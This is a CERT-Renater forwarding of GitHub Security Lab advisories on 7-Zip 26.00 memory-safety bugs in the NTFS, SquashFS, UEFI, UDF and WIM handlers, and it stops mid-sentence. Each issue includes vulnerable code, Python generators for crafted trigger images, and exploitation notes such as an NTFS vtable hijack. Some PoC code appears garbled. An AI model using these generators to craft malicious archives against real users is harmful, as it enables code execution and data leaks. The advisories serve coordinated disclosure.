Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2026/VULN566 _____________________________________________________________________ DATE : 01/06/2026 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running 7-Zip versions prior to 26.01. ===================================================================== https://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/ https://securitylab.github.com/advisories/GHSL-2026-115_GHSL-2026-122_7-zip/ _____________________________________________________________________ GHSL-2026-140: Heap Buffer Write Overflow in 7-Zip Author avatar Jaroslav Lobačevski Coordinated Disclosure Timeline 2026-04-24: The report was delivered as a sourceforge private issue. 2026-04-27: v26.01 with a fix was released. Summary A heap buffer overflow vulnerability (GHSL-2026-140) exists in 7-Zip version 26.00, caused by an under-allocation in the NTFS compressed stream buffer (GetCuSize shift UB), potentially allowing attackers to exploit this issue for arbitrary code execution or application crashes. Project 7-Zip Tested Version v26.00 Details Heap buffer overflow via NTFS compressed stream buffer under-allocation (GetCuSize shift UB) (GHSL-2026-140) A heap buffer overflow vulnerability exists in the NTFS archive handler in 7-Zip that can lead to code execution via vtable hijack. The CInStream::GetCuSize() function computes the NTFS compression-unit buffer size using a 32-bit shift (UInt32)1 << (BlockSizeLog + CompressionUnit). When an attacker-crafted NTFS image sets ClusterSizeLog >= 28 (accepted by the parser) and a compressed data attribute with CompressionUnit == 4, the shift exponent reaches 32 — undefined behavior in C++. On both x86 and x64, the UB causes _inBuf to be allocated as 1 byte. The subsequent ReadStream_FALSE writes 256 MB of attacker-controlled data into this 1-byte buffer. The NTFS boot sector parser accepts cluster sizes up to 2^30 bytes (CPP/7zip/Archive/NtfsHandler.cpp, line 133): // NtfsHandler.cpp, lines 122-134 const unsigned v = p[13]; if (v <= 0x80) { const int t = GetLog(v); if (t < 0) return false; sectorsPerClusterLog = (unsigned)t; } else sectorsPerClusterLog = 0x100 - v; ClusterSizeLog = SectorSizeLog + sectorsPerClusterLog; if (ClusterSizeLog > 30) // allows 28, 29, 30 return false; Non-resident compressed data attributes carry CompressionUnit from the attacker-controlled attribute header (NtfsHandler.cpp:509). The value CompressionUnit == 4 is explicitly accepted (NtfsHandler.cpp:430). The compressed stream’s buffer size is computed as: // NtfsHandler.cpp, line 687 UInt32 GetCuSize() const { return (UInt32)1 << (BlockSizeLog + CompressionUnit); } When BlockSizeLog == 28 and CompressionUnit == 4, the exponent is 32 — undefined behavior (shift by >= type width). On x86, (UInt32)1 << 32 typically yields 1 due to hardware masking of shift counts. The undersized buffer is then used: // NtfsHandler.cpp, lines 695-697 UInt32 cuSize = GetCuSize(); // UB → 1 byte on x86/x64 _inBuf.Alloc(cuSize); // allocates 1 byte _outBuf.Alloc(kNumCacheChunks << _chunkSizeLog); // x86: 2 bytes; x64: 8 GB (succeeds on >= 16 GB RAM) NTFS uses LZNT1 compression. The two buffers serve a standard decompress pipeline: _inBuf — holds raw compressed data read from disk (via ReadStream_FALSE) _outBuf — holds decompressed output from Lznt1Dec(), also used as a read cache The normal flow is: disk → _inBuf → Lznt1Dec() → _outBuf → memcpy to caller. Both buffers should be GetCuSize() bytes (one compression unit). Due to the shift UB, _inBuf gets 1 byte instead of the intended size, so the very first step — reading compressed data from disk into _inBuf — overflows: // NtfsHandler.cpp, lines 940-941 const size_t compressed = (size_t)numChunks << BlockSizeLog; // up to 256 MB RINOK(ReadStream_FALSE(Stream, _inBuf + offs, compressed)) // writes into 1-byte buffer Note that the overflow target is _inBuf, not _outBuf. On x64, even when the 8 GB _outBuf allocation succeeds, the 1-byte _inBuf is still overflowed because both buffer sizes are computed independently from the same UB shift result. Platform-dependent behavior On 32-bit builds, (size_t)2 << 32 is also UB (size_t is 32-bit), yielding 2 via hardware masking. Both _inBuf.Alloc(1) and _outBuf.Alloc(2) succeed with tiny allocations, and the heap overflow is unconditionally reached. On 64-bit builds, (size_t)2 << 32 is a valid 64-bit shift yielding 8,589,934,592 (8 GB). The _outBuf.Alloc(8 GB) call succeeds on systems with sufficient RAM (confirmed on a 64 GB machine). After the allocation succeeds, execution proceeds to ReadStream_FALSE and the same heap overflow occurs. On low-memory systems, the allocation may fail with CNewException, limiting the impact to DoS. Impact Heap buffer overflow leading to vtable hijack (potential code execution) — 256 MB written into a 1-byte heap buffer. ReadStream_FALSE calls stream->Read() in a loop (64 KB per iteration via kBlockSize). Debugger analysis on a release /O1 build (identical codegen to official binary) shows the stream object (CInStream) is allocated only 304 bytes (0x130) after _inBuf on the heap. The first Read() iteration writes 64 KB of attacker-controlled data starting at _inBuf, overwriting the stream object’s vtable pointer after just 304 bytes. The second Read() iteration dispatches through the corrupted vtable — a classic vtable hijack. The attacker controls the written data (NTFS cluster content from the crafted image), so they control the overwritten vtable pointer. Both x86 and x64 builds are affected. On x64, the overflow is reached on any system where the 8 GB _outBuf allocation succeeds (common on modern systems with >= 16 GB RAM). On Windows, ReadFile fails if it detects an unmapped or guard page in the destination range before copying the controlled bytes. Attackers may need Heap Feng Shui to place _inBuf so the overwrite reaches adjacent objects without immediately faulting. The NTFS handler is enabled in stock 7z.dll and is registered for .ntfs and .img extensions. However, 7-Zip uses signature-based fallback detection: when the format matching the file extension fails to open, all remaining handlers are tried in signature-priority order. Because the NTFS handler matches on the "NTFS " signature at byte offset 3 (REGISTER_ARC_I in NtfsHandler.cpp:2889), a crafted NTFS image with any file extension — including .7z, .zip, .rar, or no extension at all — will be opened by the NTFS handler after the extension-matched handler rejects it. This means the attack surface is not limited to files with NTFS-associated extensions. Triggers during extraction/testing of a compressed file from the crafted image. No user interaction beyond opening the crafted image. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — 8.8 (High) Affected versions: The GetCuSize() computation has been present since NTFS compressed stream support was introduced. All versions through 26.00 are affected. CWEs CWE-787: “Out-of-bounds Write” CWE-190: “Integer Overflow or Wraparound” Resources PoC generator (gen_ntfs_sparse.py) — generates poc_ntfs_sparse.ntfs (512 MB sparse NTFS image, ~8 KB actual data): #!/usr/bin/env python3 """Generate a sparse NTFS image with ClusterSizeLog=28 and a compressed $DATA attribute with CompressionUnit=4 to trigger GetCuSize() UB.""" import struct, os, sys boot = bytearray(512) boot[0:3] = b'\xEB\x52\x90' boot[3:11] = b'NTFS ' struct.pack_into(' offset 256MB boot[64] = 0xF6 boot[68] = 0xF6 struct.pack_into(' 1 else "poc_ntfs_sparse.ntfs" with open(out, 'wb') as f: f.write(boot) f.seek(mft_off) f.write(mft) f.seek(phy_size - 1) f.write(b'\x00') print(f"Generated: {out} ({os.stat(out).st_size} bytes apparent)") Usage: python3 gen_ntfs_sparse.py [output_path] The PoC constructs a hand-crafted NTFS image with ClusterSizeLog = 28 (256 MB clusters), 7 MFT records at offset 256 MB, and a compressed $DATA attribute with CompressionUnit = 4. No existing NTFS formatting tool (mkntfs) supports clusters larger than 64 KB, so the entire MFT structure is synthesized from scratch with correct: Boot sector with SectorsPerCluster = 0xED (negative encoding for ClusterSizeLog = 28) USN fixup arrays at sector boundaries 8-byte-aligned attribute records ($STANDARD_INFORMATION, $FILE_NAME, $DATA) Non-resident $DATA runlists within NumClusters bounds Compressed attribute header with PackSize field at offset 0x40 Verification Confirmed with UBSan. UBSan (clang, Linux x64, recovery mode) Confirms the root-cause shift UB regardless of platform: ../../Archive/NtfsHandler.cpp:687:47: runtime error: shift exponent 32 is too large for 32-bit type 'UInt32' (aka 'unsigned int') SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ../../Archive/NtfsHandler.cpp:687:47 After the UB, cascading corruption leads to a SEGV: ../../Common/StreamUtils.cpp:62:27: runtime error: member call on address 0x5d3dd8f776f0 which does not point to an object of type 'ISequentialInStream' note: object has invalid vptr UndefinedBehaviorSanitizer:DEADLYSIGNAL ==60==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000018 ==60==Hint: address points to the zero page. CVE CVE-2026-48095 Credit This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski). Contact You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-140 in any communication regarding this issue. _____________________________________________________________________ GHSL-2026-115–GHSL-2026-122: Various memory access violations in 7-Zip Author avatar Jaroslav Lobačevski Coordinated Disclosure Timeline 2026-04-21: The report was delivered through sourceforge private issues. 2026-04-27: v26.01 with fixes was released. Summary The 7-Zip project, version 26.00, contains various memory access violations, out-of-bounds (OOB) read issues, uninitialized memory vulnerabilities, integer overflow flaws in various archive formats (e.g., 7z, SquashFS, UDF, UEFI, WIM, and Ar), and path traversal in sample app, which could potentially lead to compromising system integrity or accessing sensitive data. Project 7-Zip Tested Version v26.00 Details Issue 1: SquashFS Fragment Offset Overflow (GHSL-2026-116) Heap memory disclosure via SquashFS fragment offset integer overflow on 32-bit builds. 32-bit integer overflow in the SquashFS ReadBlock function allows an attacker-controlled node.Offset value to bypass the fragment bounds check, causing memcpy to read heap memory preceding the cache buffer into the extracted file. The vulnerability is exploitable only on 32-bit builds of 7-Zip where size_t is 32 bits, allowing the addition offsetInBlock + blockSize to wrap modulo 2³². On 64-bit builds the addition is promoted to 64 bits and the check correctly rejects the input. CHandler::ReadBlock (CPP/7zip/Archive/SquashfsHandler.cpp, line 2134) reads a fragment with an attacker-controlled offsetInBlock: // CPP/7zip/Archive/SquashfsHandler.cpp, lines 2153-2198 offsetInBlock = node.Offset; // attacker-controlled UInt32, no validation ... if (offsetInBlock + blockSize > _cachedUnpackBlockSize) // line 2195 return S_FALSE; if (blockSize != 0) memcpy(dest, _cachedBlock + offsetInBlock, blockSize); // line 2198 node.Offset is read directly from the on-disk inode as a full UInt32 with no upper-bound validation: // CPP/7zip/Archive/SquashfsHandler.cpp, line 708 (Parse4, regular file) LE_32 (24, Offset); Nothing in Open2 validates that node.Offset < _h.BlockSize. 32-bit overflow offsetInBlock is UInt32. blockSize is size_t. _cachedUnpackBlockSize is UInt32. On 32-bit builds (size_t is 32-bit): offsetInBlock + blockSize is computed in 32-bit unsigned and wraps modulo 2³². With offsetInBlock = 0xFFFF8000 and blockSize = 0x8000: 0xFFFF8000 + 0x8000 = 0x100000000 wraps to 0 0 > _cachedUnpackBlockSize → false → check bypassed _cachedBlock + 0xFFFF8000 wraps to _cachedBlock - 0x8000 memcpy(dest, _cachedBlock - 0x8000, 0x8000) copies 32 KiB of heap memory preceding the cache allocation into the extracted file On 64-bit builds (size_t is 64-bit): the addition promotes to 64 bits, no wrap occurs, and the check correctly rejects. Impact This issue may lead to information disclosure (heap memory preceding _cachedBlock written into extracted file) on 32-bit builds. The SquashFS handler is registered for .squashfs and .sfs files and is enabled in stock 7z.dll. 32-bit builds of 7-Zip are shipped on the official 7-zip.org downloads page. The vulnerability triggers during extraction — the attacker recovers heap contents by reading the extracted file. The attacker controls the read offset via node.Offset and the read size via FileSize (up to _h.BlockSize, max 8 MiB). Heap memory preceding _cachedBlock (up to BlockSize bytes) is written into the extracted file — an in-band information disclosure primitive. On 64-bit builds, the bug is latent (bounds check is correct due to 64-bit promotion). CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N — 6.5 (Medium) Scored for 32-bit builds where the disclosure is real. Affected versions: The SquashFS fragment ReadBlock with offsetInBlock has been present since 7-Zip 9.18. All 32-bit builds from 9.18 through 26.00 are affected. 64-bit builds are not affected. CWEs CWE-190: “Integer Overflow or Wraparound” CWE-125: “Out-of-bounds Read” Resources PoC generator: #!/usr/bin/env python3 """Generate a SquashFS v4 image with a large fragment Offset for 32-bit overflow.""" import struct, sys OFFSET = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0xFFFFFFFC # Minimal SquashFS v4 with one file referencing fragment 0 # Fragment is 64 bytes uncompressed; file inode has Offset=OFFSET hdr = b'hsqs' # magic hdr += struct.pack('::Alloc MyBuffer.h:69 #2 NArchive::NSquashfs::CHandler::GetStream SquashfsHandler.cpp:2338 SUMMARY: AddressSanitizer: heap-buffer-overflow SquashfsHandler.cpp:2198 in NArchive::NSquashfs::CHandler::ReadBlock 4 bytes before 8192-byte region confirms the 32-bit pointer wrap: _cachedBlock + 0xFFFFFFFC wraps to _cachedBlock - 4, and memcpy reads from before the allocation. Issue 2: UEFI Capsule uninitialized heap memory disclosure (GHSL-2026-117) Uninitialized heap memory disclosure in 7-Zip UEFI capsule handler via truncated archive. An uninitialized memory disclosure vulnerability exists in the UEFI capsule (.scap) parser in 7-Zip. The OpenCapsule function allocates a heap buffer of attacker-declared CapsuleImageSize (up to 1 GiB) without zero-initialization, then reads the file contents into it with ReadStream_FALSE whose return value is silently discarded. If the file is truncated, the unread tail of the buffer retains uninitialized heap memory, which is then exposed as extracted file content via GetStream. The function CHandler::OpenCapsule (CPP/7zip/Archive/UefiHandler.cpp, line 1571): // CPP/7zip/Archive/UefiHandler.cpp, lines 1592-1595 const unsigned bufIndex = AddBuf(_h.CapsuleImageSize); CByteBuffer &buf0 = _bufs[bufIndex]; memcpy(buf0, buf, kHeaderSize); // 80 bytes ReadStream_FALSE(stream, buf0 + kHeaderSize, _h.CapsuleImageSize - kHeaderSize); // ← NO RINOK! Compare with the other ReadStream_FALSE calls in the same file (lines 1575, 1615, 1627), which all use RINOK(ReadStream_FALSE(...)). Line 1595 is the only call that discards the return value. AddBuf calls CByteBuffer::Alloc which uses new Byte[size] — no zero-initialization (MyBuffer.h:69). When the file is truncated shorter than CapsuleImageSize, ReadStream_FALSE returns S_FALSE (short read), but execution continues. The unread bytes in buf0 retain whatever the heap allocator returned. GetStream exposes uninitialized bytes: // CPP/7zip/Archive/UefiHandler.cpp, lines 1831-1837 const CByteBuffer &buf = _bufs[item.BufIndex]; if (item.Offset > buf.Size()) return S_FALSE; size_t size = buf.Size() - item.Offset; if (size > item.Size) size = item.Size; streamSpec->Init(buf + item.Offset, size, (IInArchive *)this); The extraction callback receives bytes directly from buf0, including the uninitialized region. These bytes are written to disk as the “extracted” file content. ParseVolume reads the capsule body from the same uninitialized buffer. When the body prefix is not a valid FFS firmware volume, ParseVolume falls through to creating a single [VOL] item spanning the entire capsule body. This is the default fallback — no FFS header checksums or structural validation are needed. The PoC demonstrates this: 16 bytes of 0xAA (not valid FFS) causes ParseVolume to create one item covering the full 4016-byte body, including 4000 bytes of uninitialized heap. Impact This issue may lead to information disclosure (uninitialized heap memory written to extracted files). The UEFI capsule handler is registered for .scap files with signature-based detection (NArcInfoFlags::kFindSignature) and is enabled in stock 7z.dll. The vulnerability triggers on extraction (GetStream is called when the user extracts a file from the archive). Usual operation — the user just opens and extracts a malicious .scap file. Up to ~1 GiB of uninitialized heap memory is written to disk as extracted file content. In a long-running 7-Zip GUI session (warm heap), this can include fragments of previously processed archives, file paths, decompressed content, or passwords from encrypted archive sessions. On Windows, even a cold (freshly launched) process leaks non-zero heap metadata. On Linux the cold leak contains zeros, the “warm” process leaks the non-zero heap. The GUI is the primary concern because it is long-running. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N — 6.5 (Medium) Affected versions: The unchecked ReadStream_FALSE has been present since 7-Zip 9.21. All versions from 9.21 through 26.00 are affected. CWEs CWE-908: “Use of Uninitialized Resource” Resources PoC generator import struct # CAPSULE_SIGNATURE GUID (type 0 = 80-byte header) guid = bytes([0xBD,0x86,0x66,0x3B,0x76,0x0D,0x30,0x40, 0xB7,0x0E,0xB5,0x51,0x9E,0x2F,0xC5,0xA0]) hdr = bytearray(80) hdr[0:16] = guid struct.pack_into("= size return 0; if ((size_t)tag.CrcLen + 16 != processed) return 0; return (processed <= size) ? processed : 0; // bounds check AFTER the reads The check at line 496 ensures processed ≤ size at loop entry. The padding loop then reads p[processed] for up to 3 iterations (aligning to 4-byte boundary) before the post-loop processed <= size check. When (38 + impLen + idLen) % 4 != 0 and 38 + impLen + idLen == size, the loop reads 1–3 bytes past size. The buffer p is allocated with buf.Alloc((size_t)item.Size) — an exact-size heap allocation. Impact This issue may lead to information disclosure (1-bit oracle per OOB byte via open/fail behavior). The UDF handler is registered for .iso, .udf and auto-detected by signature. Triggers during Open() — listing or extracting a crafted UDF image. OOB read of up to 3 bytes per FID parse. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N — 3.1 (Low) Affected versions: The UDF handler has been present since 7-Zip 9.11. All versions through 26.00 are affected. CWEs CWE-125: “Out-of-bounds Read” Resources PoC generator: #!/usr/bin/env python3 """Generate a minimal UDF image triggering CFileId::Parse padding-loop OOB read.""" import struct, sys, os SEC_SIZE = 2048 CRC16_POLY = 0x1021 _crc16_table = [] for i in range(256): r = i << 8 for _ in range(8): r = ((r << 1) ^ (CRC16_POLY if (r & 0x8000) else 0)) & 0xFFFF _crc16_table.append(r) def crc16(data): v = 0 for b in data: v = (_crc16_table[((v >> 8) ^ b) & 0xFF] ^ (v << 8)) & 0xFFFF return v def make_tag(tag_id, payload, tag_location): crc_len = len(payload) tag = bytearray(16) struct.pack_into(' reads 1 byte past buffer) fid_p = bytearray(23) fid_p[3] = 1 # idLen struct.pack_into(' 1 else 'poc_udf_007t.iso', 'wb').write(bytes(img)) Triggering: 7zz l poc_udf_007t.iso Verification ASan-confirmed (MSVC /fsanitize=address, Windows x64): ==17540==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x115b835a1237 at pc 0x7ff743846a4d bp 0x002b944fbf00 sp 0x002b944fbf08 READ of size 1 at 0x115b835a1237 thread T0 #0 in NArchive::NUdf::CFileId::Parse UdfIn.cpp:505 #1 in NArchive::NUdf::CInArchive::ReadItem UdfIn.cpp:692 #2 in NArchive::NUdf::CInArchive::ReadFileItem UdfIn.cpp:545 #3 in NArchive::NUdf::CInArchive::Open2 UdfIn.cpp:1251 0x115b835a1237 is located 0 bytes after 39-byte region [0x115b835a1210,0x115b835a1237) allocated by thread T0 here: #0 in operator new[] #1 in CBuffer::Alloc MyBuffer.h:69 #2 in CBuffer::operator= MyBuffer.h:119 #3 in NArchive::NUdf::CInArchive::ReadFromFile UdfIn.cpp:369 The directory buffer is allocated at exactly 39 bytes (new Byte[39]). The padding loop at line 505 reads p[39] — 0 bytes after the end of the allocation — triggering ASan’s heap-buffer-overflow. Issue 4: WIM SecurityId OOB read (GHSL-2026-119) Off-by-one heap out-of-bounds read in 7-Zip WIM security descriptor handler. An off-by-one heap out-of-bounds read exists in the WIM (Windows Imaging) archive handler in 7-Zip. The CHandler::GetSecurity function validates a securityId against SecurOffsets.Size() but then accesses SecurOffsets[securityId + 1], reading 4 bytes past the end of the heap allocation when securityId equals the maximum allowed value. The OOB is triggered on viewing (double-click or File -> Open) a crafted WIM in the 7-Zip File Manager GUI. The WIM handler’s per-image security table is stored as a CRecordVector SecurOffsets with numEntries + 1 cumulative offsets. Valid record indices are 0 through numEntries - 1, where record i spans SecurOffsets[i] to SecurOffsets[i + 1]. CHandler::GetSecurity (CPP/7zip/Archive/Wim/WimHandler.cpp, line 649) validates the attacker-controlled securityId with an off-by-one: // CPP/7zip/Archive/Wim/WimHandler.cpp, lines 649-671 HRESULT CHandler::GetSecurity(UInt32 realIndex, const void **data, UInt32 *dataSize, UInt32 *propType) { const CItem &item = _db.Items[realIndex]; if (item.IsAltStream || item.ImageIndex < 0) return S_OK; const CImage &image = _db.Images[item.ImageIndex]; const Byte *metadata = image.Meta + item.Offset; UInt32 securityId = Get32(metadata + 0xC); // attacker-controlled if (securityId == (UInt32)(Int32)-1) return S_OK; if (securityId >= (UInt32)image.SecurOffsets.Size()) // ← WRONG: allows numEntries return E_FAIL; UInt32 offs = image.SecurOffsets[securityId]; // OK for securityId < Size() UInt32 len = image.SecurOffsets[securityId + 1] - offs; // ← OOB when securityId == Size()-1 // ... } SecurOffsets.Size() is numEntries + 1. The check securityId >= Size() admits securityId == numEntries. Then line 662 reads SecurOffsets[numEntries + 1] — one UInt32 (4 bytes) past the end of the heap-allocated CRecordVector storage. The SecurOffsets population // CPP/7zip/Archive/Wim/WimIn.cpp, lines 826-836 image.SecurOffsets.ClearAndReserve(numEntries + 1); image.SecurOffsets.AddInReserved(sum); // entry 0 for (UInt32 i = 0; i < numEntries; i++) { // ... image.SecurOffsets.AddInReserved(sum); // entries 1..numEntries } // Total: numEntries + 1 entries. Size() == numEntries + 1. CRecordVector uses new T[capacity] (MyVector.h:105) with no bounds checking on operator[] (MyVector.h:267). Impact This issue may lead to limited information disclosure (OOB bytes used arithmetically but not surfaced to attacker). The WIM handler is registered for .wim, .swm, .esd, .ppkg files and is enabled in stock 7z.dll. GetSecurity is called when any frontend queries kpidNtSecure via IArchiveGetRawProps::GetRawProp. The file manager’s ListView calls GetRawProp(kpidNtSecure) for every item during listing — the OOB triggers immediately upon opening the WIM, with no extraction or user interaction. CLI: The console tool triggers the OOB when listing with technical info (7zz l -slt). The attacker controls securityId via the SecurityId field at offset +0xC of any directory entry in the WIM metadata. The OOB value is used arithmetically (len = OOB_value - offs) to compute a metadata buffer slice length. If the garbage len fails the subsequent bounds check, the function returns S_OK with no data. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low) Affected versions: The WIM security descriptor support (GetSecurity with SecurOffsets) was introduced in 7-Zip 9.34. The off-by-one has been present since introduction. All versions from 9.34 through 26.00 are affected. CWEs CWE-125: “Out-of-bounds Read” Resources PoC generator Requires Windows (uses DISM to create a valid WIM) and an elevated (admin) prompt: #!/usr/bin/env python3 """Generate a crafted WIM that triggers SecurityId off-by-one OOB read. Must be run as Administrator (DISM requires elevation).""" import os, subprocess, shutil, struct, hashlib, sys, tempfile # Step 1: Create a temp directory with two files src = os.path.join(tempfile.gettempdir(), "wim_poc_src") os.makedirs(src, exist_ok=True) for name in ("a.txt", "b.txt"): with open(os.path.join(src, name), "w") as f: f.write(name) # Step 2: Capture as uncompressed WIM via DISM base_wim = os.path.join(tempfile.gettempdir(), "test.wim") if os.path.exists(base_wim): os.remove(base_wim) r = subprocess.run([ "dism", "/Capture-Image", f"/ImageFile:{base_wim}", f"/CaptureDir:{src}", "/Name:test", "/Compress:none" ], capture_output=True, text=True) if r.returncode != 0: print(r.stdout + r.stderr) sys.exit(f"DISM failed (exit {r.returncode}). Run as Administrator.") # Step 3: Clean up temp source shutil.rmtree(src, ignore_errors=True) # Step 4: Patch SecurityId to trigger OOB data = bytearray(open(base_wim, "rb").read()) os.remove(base_wim) # Determine version and resource offsets version = struct.unpack_from('> 16) > 1 or ((version >> 16) == 1 and (version & 0xFFFF) >= 13) res_offset = 0x30 if is_new else 0x2C # Find offset table ot_off = struct.unpack_from('::ClearAndReserve MyVector.h:105 #2 NArchive::NWim::CDatabase::ParseImageDirs WimIn.cpp:826 SUMMARY: AddressSanitizer: heap-buffer-overflow WimHandler.cpp:662 in NArchive::NWim::CHandler::GetSecurity Issue 5: SquashFS BlockToNode uninitialized heap read (GHSL-2026-120) Uninitialized heap read via sparse _blockToNode index in SquashFS handler. The SquashFS handler’s OpenDir function indexes the _blockToNode array using attacker-controlled blockIndex values. The array is allocated with ClearAndReserve(GetNumBlocks() + 1) but only partially populated during inode parsing — when few inodes span many metadata blocks, most slots remain uninitialized. Reading these uninitialized UInt32 values provides attacker-influenced bounds to FindInSorted, which then performs an unbounded heap read via _nodesPos[mid]. If the OOB-read value coincidentally matches unpackPos, the returned nodeIndex chains into a wild-pointer read of _nodes[nodeIndex] — though this amplification is heap-layout-dependent and not reliably triggerable. Sparse _blockToNode population Open2 builds _blockToNode (CPP/7zip/Archive/SquashfsHandler.cpp, line 1673): // SquashfsHandler.cpp, lines 1673-1699 _blockToNode.ClearAndReserve(_inodesData.GetNumBlocks() + 1); unsigned curBlock = 0; for (UInt32 i = 0; i < _h.NumInodes; i++) { // ... parse inode ... while (pos >= _inodesData.UnpackPos[curBlock]) { _blockToNode.Add(_nodesPos.Size()); // only fires at block boundaries curBlock++; } _nodesPos.AddInReserved(pos); _nodes.AddInReserved(n); pos += size; } _blockToNode.Add(_nodesPos.Size()); ClearAndReserve allocates GetNumBlocks() + 1 slots via new UInt32[capacity] (MyVector.h:95-108) — no zero-initialization for POD types. The while loop only adds entries when inodes cross block boundaries. With NumInodes = 1 and a large inode, _blockToNode.Size() can be as small as 2, while capacity is GetNumBlocks() + 1 (potentially hundreds). Elements [2..capacity-1] are uninitialized heap. Sink: OpenDir reads uninitialized bounds OpenDir at line 1414: // SquashfsHandler.cpp, line 1414 nodeIndex = _nodesPos.FindInSorted(unpackPos, _blockToNode[blockIndex], // ← uninitialized when blockIndex >= Size() _blockToNode[blockIndex + 1]); // ← uninitialized blockIndex comes from _inodesData.PackPos.FindInSorted(startBlock) where startBlock is derived from the attacker-controlled RootInode superblock field. The attacker picks any blockIndex ≥ 2 (within GetNumBlocks()), reading uninitialized heap as the left/right bounds for FindInSorted. Amplification via _nodes[nodeIndex] (heap-layout-dependent) FindInSorted performs mid = (left + right) / 2 and dereferences _nodesPos[mid] with no bounds check. If the OOB-read value at _nodesPos[mid] coincidentally equals unpackPos, nodeIndex = mid is returned and indexes into _nodes: const CNode &n = _nodes[nodeIndex]; // wild-index read if nodeIndex >= Size() if (!n.IsDir()) return S_OK; This would read a full CNode struct from arbitrary heap, with the resulting StartBlock/Offset feeding further directory parsing — a chained OOB read primitive. In practice, the PoC produces left=2, right=3, mid=2, but _nodesPos[2] (OOB) does not match unpackPos, so FindInSorted returns -1 and OpenDir returns S_FALSE. The amplification requires specific heap contents and is not reliably triggerable from the current PoC. Impact This issue may lead to information disclosure (heap content leakage via chained OOB reads) and denial of service (crash from wild-pointer dereference). The SquashFS handler is enabled in stock 7z.dll and triggers during Open() before any user interaction beyond opening the file. The attacker controls RootInode in the superblock and the metadata block layout. Uninitialized heap values feed into indexed reads, creating an attacker-influenced OOB read chain. No write primitive. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L — 4.2 (Medium) AC:H because exploiting the uninitialized values for controlled reads requires heap layout manipulation. Affected versions: The _blockToNode optimization has been present since 7-Zip 9.18. All versions through 26.00 are affected. CWEs CWE-908: “Use of Uninitialized Resource” CWE-125: “Out-of-bounds Read” Resources PoC generator: #!/usr/bin/env python3 """Generate a SquashFS v4 image triggering uninitialized _blockToNode read.""" import struct, sys # 1 FILE inode spanning 3 metadata blocks (232 bytes = 32 hdr + 50*4 block_sizes) num_data_blocks = 50 file_inode = struct.pack(' 1 else 'poc_sfs_uninit.sfs', 'wb').write(out) Triggering: 7zz l poc_sfs_uninit.sfs Verification cdb trace (Debug build): Confirmed OpenDir is called with startBlock = 0xCC, and the second FindInSorted (for _nodesPos) receives left = 2, right = 3 — values read from uninitialized _blockToNode slots past Size() but within capacity. These feed mid = 2 into _nodesPos[2] — past _nodesPos.Size() = 1. MSan-confirmed (clang -fsanitize=memory, Linux via Docker): ==7==WARNING: MemorySanitizer: use-of-uninitialized-value #0 0x5d501ac05517 (/bin2/7zz+0x2d9517) #1 0x5d501ac0688f (/bin2/7zz+0x2da88f) #2 0x5d501ac0771c (/bin2/7zz+0x2db71c) ... SUMMARY: MemorySanitizer: use-of-uninitialized-value (/bin2/7zz+0x2d9517) MSan confirms that uninitialized values from _blockToNode are used in the FindInSorted comparison, driving OOB indexed reads of _nodesPos. Issue 6: UEFI DEPEX OOB Read (GHSL-2026-121) Off-by-one out-of-bounds read in 7-Zip UEFI dependency expression parser. An off-by-one out-of-bounds read exists in the UEFI firmware image parser in 7-Zip. The ParseDepedencyExpression function uses > instead of >= when validating an attacker-controlled opcode byte against the bounds of a static array of const char * pointers. When command == 10, the function reads one pointer past the end of the 10-element kExpressionCommands array, then dereferences that pointer as a C string, causing either a crash or a leak of adjacent .rodata content into archive metadata. The function ParseDepedencyExpression (CPP/7zip/Archive/UefiHandler.cpp, line 394) validates an attacker-supplied opcode byte against a 10-element const char * array: // CPP/7zip/Archive/UefiHandler.cpp, lines 389-413 static const char * const kExpressionCommands[] = { "BEFORE", "AFTER", "PUSH", "AND", "OR", "NOT", "TRUE", "FALSE", "END", "SOR" }; // 10 entries — valid indices 0..9 static bool ParseDepedencyExpression(const Byte *p, UInt32 size, AString &res) { res.Empty(); for (UInt32 i = 0; i < size;) { unsigned command = p[i++]; if (command > Z7_ARRAY_SIZE(kExpressionCommands)) // BUG: must be >= return false; res += kExpressionCommands[command]; // OOB when command == 10 if (command < 3) { if (i + kGuidSize > size) return false; res.Add_Space(); AddGuid(res, p + i, false); i += kGuidSize; } res += "; "; } return true; } Z7_ARRAY_SIZE(kExpressionCommands) evaluates to 10. The check command > 10 admits command == 10. Line 402 then reads kExpressionCommands[10] — one pointer slot (8 bytes on x64) past the end of the static-storage array. What happens with the OOB pointer The OOB-read value is treated as a const char * and passed to AString::operator+=(const char *), which calls strlen() on it and then memcpys the result into the string buffer. Two outcomes are possible: Crash: The OOB pointer value is not a valid readable address → strlen faults with ACCESS_VIOLATION. Deterministic DoS. Rodata leak: The OOB pointer happens to point to another static string in .rdata → that string’s content is copied into the Characts archive property, which is visible to the user via the archive listing UI. The outcome is deterministic for a given binary (linker layout is fixed per build). Call path The function is reached automatically during archive open: OpenFv() or OpenCapsule() → ParseVolume() → ParseSections() (UefiHandler.cpp:1194) → case SECTION_DXE_DEPEX (0x13): → case SECTION_PEI_DEPEX (0x1B): → ParseDepedencyExpression(p + 4, sectDataSize, s) (line 1198) The command byte is the first byte of the DEPEX section payload (p[4]), fully attacker-controlled. Attack surface and reachability The UEFI handler is registered for both UEFI capsule (UEFIc) and UEFI FFS (UEFIf) formats with signature-based detection (NArcInfoFlags::kFindSignature), at lines 1853 and 1873. The handler IS enabled in stock 7z.dll. The vulnerability triggers during IInArchive::Open(), before any user interaction beyond opening the file. The attacker only needs to provide a file containing a valid FFS volume with one DXE_DEPEX or PEI_DEPEX section whose first body byte is 0x0A. Impact This issue may lead to denial of service (crash from dereferencing an invalid pointer) or 